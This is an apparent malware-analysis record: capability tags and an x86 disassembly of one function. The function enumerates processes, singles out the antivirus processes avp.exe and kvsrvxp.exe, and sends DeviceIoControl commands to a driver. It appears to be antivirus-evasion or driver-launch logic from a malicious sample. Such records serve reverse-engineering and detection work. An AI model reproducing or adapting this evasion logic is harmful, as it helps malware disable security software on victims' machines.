Function at 0x401b00
Capabilities:
Check for time delay via gettickcount
Check os version
Enumerate processes
Get common file path
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xd2c
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 0x70]
mov dword [esp + 0x6c], ebx
mov edx, dword [0x40f1ac]
rep stosd dword es:[edi], eax
mov ecx, 0xe
lea edi, [esp + 0x120]
mov dword [esp + 0x11c], ebx
mov dword [esp + 0x68], edx
mov edx, dword [0x40f19c]
mov dword [esp + 0x10], ebx
rep stosd dword es:[edi], eax
mov eax, dword [str._sSmss.exe]
mov ecx, dword [0x40f1a8]
mov dword [esp + 0x60], eax
mov eax, dword [str._sCsrss.exe]
mov dword [esp + 0x64], ecx
mov ecx, dword [0x40f198]
mov dword [esp + 0x40], eax
mov al, byte [0x40f1a0]
mov dword [esp + 0x44], ecx
mov ecx, dword [str._sSvchost.exe]
mov dword [esp + 0x48], edx
mov edx, dword [0x40f188]
mov byte [esp + 0x4c], al
mov eax, dword [0x40f18c]
mov dword [esp + 0x30], ecx
mov cx, word [0x40f190]
mov dword [esp + 0x34], edx
mov dl, byte [0x40f192]
mov dword [esp + 0x38], eax
mov eax, dword [str._s_audiodg.exe]
mov word [esp + 0x3c], cx
mov ecx, dword [0x40f178]
mov byte [esp + 0x3e], dl
mov edx, dword [0x40f17c]
mov dword [esp + 0x20], eax
mov ax, word [0x40f180]
mov dword [esp + 0x24], ecx
mov cl, byte [0x40f182]
mov dword [esp + 0x28], edx
mov edx, dword [str._sLsass.exe]
mov word [esp + 0x2c], ax
mov eax, dword [0x40f168]
mov byte [esp + 0x2e], cl
mov ecx, dword [0x40f16c]
mov dword [esp + 0x50], edx
mov dl, byte [0x40f170]
mov dword [esp + 0x54], eax
mov eax, dword [str._s_services.exe]
mov dword [esp + 0x58], ecx
mov ecx, dword [0x40f158]
mov byte [esp + 0x5c], dl
mov edx, dword [0x40f15c]
mov dword [esp + 0x10c], eax
mov eax, dword [0x40f160]
mov dword [esp + 0x110], ecx
mov ecx, dword [str._sdwm.exe]
mov dword [esp + 0x114], edx
mov edx, dword [0x40f14c]
mov dword [esp + 0x118], eax
mov ax, word [0x40f150]
mov dword [esp + 0x14], ecx
mov cl, byte [0x40f152]
mov dword [esp + 0x18], edx
mov dl, byte [0x422abc]
mov word [esp + 0x1c], ax
mov byte [esp + 0x1e], cl
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x315]
mov byte [esp + 0x314], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x51d]
mov byte [esp + 0x51c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x725]
mov byte [esp + 0x724], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xb35]
mov byte [esp + 0xb34], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x621]
mov byte [esp + 0x620], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x92d]
mov byte [esp + 0x92c], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xa31]
mov byte [esp + 0xa30], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x829]
mov byte [esp + 0x828], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x49
xor eax, eax
lea edi, [esp + 0x15c]
mov dword [esp + 0x158], 0x128
rep stosd dword es:[edi], eax
mov ecx, 0x24
lea edi, [esp + 0x284]
lea edx, [esp + 0x280]
rep stosd dword es:[edi], eax
push edx
mov dword [esp + 0x284], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push str.LaunchDriverNtEx_enter..._n
call fcn.004043a0
mov eax, dword [esp + 0x288]
add esp, 4
cmp eax, 6
jne 0x401dad
push str.QueryFullProcessImageNameA
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x422ab0], eax
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x6c]
lea edx, [esp + 0x314]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x284]
mov ecx, dword [esp + 0x288]
push 0x104
push edx
mov dword [esp + 0x74], eax
mov dword [esp + 0x78], ecx
mov dword [esp + 0x7c], ebx
mov dword [esp + 0x80], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [esp + 0x314]
lea ecx, [esp + 0x60]
push eax
push ecx
lea edx, [esp + 0x524]
push 0x103
push edx
call fcn.004068e4
lea eax, [esp + 0x324]
lea ecx, [esp + 0x50]
push eax
push ecx
lea edx, [esp + 0x73c]
push 0x103
push edx
call fcn.004068e4
lea eax, [esp + 0x334]
lea ecx, [esp + 0x50]
push eax
push ecx
lea edx, [esp + 0xb5c]
push 0x103
push edx
call fcn.004068e4
lea eax, [esp + 0x344]
lea ecx, [esp + 0x50]
push eax
push ecx
lea edx, [esp + 0x658]
push 0x103
push edx
call fcn.004068e4
add esp, 0x40
lea eax, [esp + 0x314]
lea ecx, [esp + 0x50]
lea edx, [esp + 0x92c]
push eax
push ecx
push 0x103
push edx
call fcn.004068e4
lea eax, [esp + 0x324]
lea ecx, [esp + 0x11c]
push eax
push ecx
lea edx, [esp + 0xa48]
push 0x103
push edx
call fcn.004068e4
lea eax, [esp + 0x334]
lea ecx, [esp + 0x34]
push eax
push ecx
lea edx, [esp + 0x850]
push 0x103
push edx
call fcn.004068e4
add esp, 0x30
lea eax, [esp + 0x314]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, eax
cmp ebp, 0xffffffff
je 0x402234
lea ecx, [esp + 0x158]
push ecx
push ebp
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40222d
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [esp + 0x7c]
cmp ecx, 0x20
jae 0x40222d
mov eax, dword [esp + 0x160]
cmp eax, 4
je 0x401f30
cmp eax, 8
jne 0x401f40
mov dword [esp + ecx*4 + 0x80], eax
mov ecx, dword [esp + 0x7c]
inc ecx
mov dword [esp + 0x7c], ecx
cmp ecx, 0x20
jae 0x40222d
lea edx, [esp + 0xc38]
push 0x104
push edx
push eax
mov byte [esp + 0xc44], 0
call fcn.004010d0
add esp, 0xc
test eax, eax
je 0x402217
lea eax, [esp + 0xc38]
push 0x5c
push eax
call fcn.00406a40
lea ecx, [esp + 0x31c]
mov esi, eax
push 0x104
lea edx, [esp + 0x424]
push ecx
lea eax, [esp + 0xc48]
push edx
push eax
call fcn.00401160
lea ecx, [esp + 0x430]
push 0x104
lea edx, [esp + 0x538]
push ecx
push edx
call fcn.0040d000
add esp, 0x24
test eax, eax
jne 0x401fe3
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0x160]
mov dword [esp + eax*4 + 0x80], ecx
mov eax, dword [esp + 0x7c]
inc eax
mov dword [esp + 0x7c], eax
jmp 0x402217
lea edx, [esp + 0x418]
push 0x104
lea eax, [esp + 0x728]
push edx
push eax
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x402024
mov ecx, dword [esp + 0x7c]
mov edx, dword [esp + 0x160]
mov dword [esp + ecx*4 + 0x80], edx
mov eax, dword [esp + 0x7c]
inc eax
mov dword [esp + 0x7c], eax
jmp 0x402217
lea eax, [esp + 0x418]
push 0x104
lea ecx, [esp + 0xb38]
push eax
push ecx
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x402065
mov edx, dword [esp + 0x7c]
mov eax, dword [esp + 0x160]
mov dword [esp + edx*4 + 0x80], eax
mov eax, dword [esp + 0x7c]
inc eax
mov dword [esp + 0x7c], eax
jmp 0x402217
lea ecx, [esp + 0x418]
push 0x104
lea edx, [esp + 0x930]
push ecx
push edx
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x4020a6
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0x160]
mov dword [esp + eax*4 + 0x80], ecx
mov eax, dword [esp + 0x7c]
inc eax
mov dword [esp + 0x7c], eax
jmp 0x402217
cmp dword [esp + 0x284], 6
jne 0x402140
lea edx, [esp + 0x418]
push 0x104
lea eax, [esp + 0x624]
push edx
push eax
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x4020f5
mov ecx, dword [esp + 0x7c]
mov edx, dword [esp + 0x160]
mov dword [esp + ecx*4 + 0x80], edx
mov eax, dword [esp + 0x7c]
inc eax
mov dword [esp + 0x7c], eax
jmp 0x402217
cmp dword [esp + 0x284], 6
jne 0x402140
lea eax, [esp + 0x418]
push 0x104
lea ecx, [esp + 0x82c]
push eax
push ecx
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x402140
mov edx, dword [esp + 0x7c]
mov eax, dword [esp + 0x160]
mov dword [esp + edx*4 + 0x80], eax
mov eax, dword [esp + 0x7c]
inc eax
mov dword [esp + 0x7c], eax
jmp 0x402217
lea ecx, [esp + 0x418]
push 0x104
lea edx, [esp + 0xa34]
push ecx
push edx
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x402181
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0x160]
mov dword [esp + eax*4 + 0x80], ecx
mov eax, dword [esp + 0x7c]
inc eax
mov dword [esp + 0x7c], eax
jmp 0x402217
cmp esi, ebx
je 0x402217
inc esi
push 7
push str.avp.exe
push esi
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x4021ce
mov edx, dword [esp + 0x160]
push edx
push ebx
push 0x21
call edi
cmp eax, ebx
jne 0x402210
mov eax, dword [esp + 0x160]
mov ecx, dword [esp + 0x7c]
or al, 1
mov dword [esp + ecx*4 + 0x80], eax
mov eax, dword [esp + 0x7c]
inc eax
mov dword [esp + 0x7c], eax
jmp 0x402217
push 0xb
push str.kvsrvxp.exe
push esi
call fcn.0040d000
add esp, 0xc
test eax, eax
jne 0x402217
mov edx, dword [esp + 0x160]
push edx
push ebx
push 1
call edi
cmp eax, ebx
jne 0x402210
mov eax, dword [esp + 0x7c]
mov ecx, dword [esp + 0x160]
mov dword [esp + eax*4 + 0x80], ecx
mov eax, dword [esp + 0x7c]
inc eax
mov dword [esp + 0x7c], eax
jmp 0x402217
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x158]
push edx
push ebp
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401f12
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov dword [esp + 0x104], eax
call esi
mov dword [esp + 0x108], eax
lea eax, [esp + 0x6c]
push 0x98
push eax
lea ecx, [esp + 0x10c]
push 1
push ecx
call fcn.00401110
add esp, 0x10
mov ebp, dword [esp + 0xd40]
lea edx, [esp + 0x10]
lea eax, [esp + 0x6c]
push ebx
push edx
push ebx
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0xa0
push eax
push 0x22e484
push ebp
call ebx
test eax, eax
jne 0x4022c0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp + 0xd44]
push eax
push str.DeviceIoControl_init__failed__LastError___d_n
mov dword [ecx], eax
call fcn.004043a0
add esp, 8
mov eax, 0xc9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd2c
ret
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [esp + 0x11c], eax
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x120]
mov dword [esp + 0x148], 0
rep stosd dword es:[edi], eax
mov dword [esp + 0x140], 1
mov dword [esp + 0x14c], 0xa00000a
call esi
mov edx, dword [esp + 0x11c]
mov dword [esp + 0x150], eax
lea eax, [esp + 0x11c]
push 0x34
push eax
lea ecx, [esp + 0x158]
push 1
push ecx
mov dword [esp + 0x164], edx
mov dword [esp + 0x154], 0
call fcn.00401110
add esp, 0x10
lea edx, [esp + 0x10]
lea eax, [esp + 0x11c]
push 0
push edx
push 0
push 0
push 0x3c
push eax
push 0x22e5dc
push ebp
call ebx
test eax, eax
jne 0x40238e
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
mov ecx, dword [esp + 0xd44]
mov dword [ecx], eax
call esi
push eax
push str._LaunchDriverNtEx_DeviceIoControl_start__failed__LastError___d_n
call fcn.004043a0
add esp, 8
mov eax, 0xca
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xd2c
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0xd2c
ret